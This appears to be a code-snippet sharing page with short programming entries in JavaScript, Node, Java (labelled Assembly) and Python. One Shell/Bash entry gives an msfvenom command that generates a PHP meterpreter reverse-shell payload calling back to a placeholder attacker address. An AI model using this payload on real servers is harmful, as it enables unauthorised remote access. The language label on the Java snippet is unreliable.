What do you want to save?
Add Code snippet
New code examples
-
Javascript 2022-03-24 09:55:05
javascript get cursor position without event
var Cursor_X; var Cursor_Y; document.addEventListener('mousemove', onMouseUpdate, false); document.addEventListener('mouseenter', onMouseUpdate, false); function onMouseUpdate(e){ Cursor_X = e.pageX; Cursor_Y = e.pageY; } Add solution -
Other 2022-03-22 05:15:02
(node:13048) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 post listeners added to [EventEmitter]. Use emitter.setMaxListeners() to increase limit
const emitter = new EventEmitter() emitter.setMaxListeners(100) // or 0 to turn off the limit emitter.setMaxListeners(0) Add solution -
Shell/Bash 2022-03-21 13:10:51
reverse php shell pentestmonkey
##This will create the payload file "shell.php" with your ip and port. msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php ##You can always "nano" the file to change your ipaddr... Add solution -
Assembly 2022-03-20 06:00:11
how to listen for changes on an ObservableMap
import java.util.HashMap; import java.util.Map; /*from www . j a v a 2 s . co m*/ import javafx.collections.FXCollections; import javafx.collections.MapChangeListener; import javafx.collections.ObservableMap; public class Main { public static ... Add solution -
Python 2022-03-18 05:50:18
python walkie talkie
import sys import os import socket import time sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(2) if "--listen" in sys.argv: print("WalkieTalkie Listener Turned On..") server_address = ('', 9434) so... Add solution -
Javascript 2022-03-18 04:50:03
how to click outside dom in javascript
// jQuery $(window).click(function() { //Hide the menus if visible }); // JavaScript const getBody = document.querySelector('body'); getBody.addEventListener('click', () => { //Hide the Menus if Visible }); // Stop Propogation on Element you want... Add solution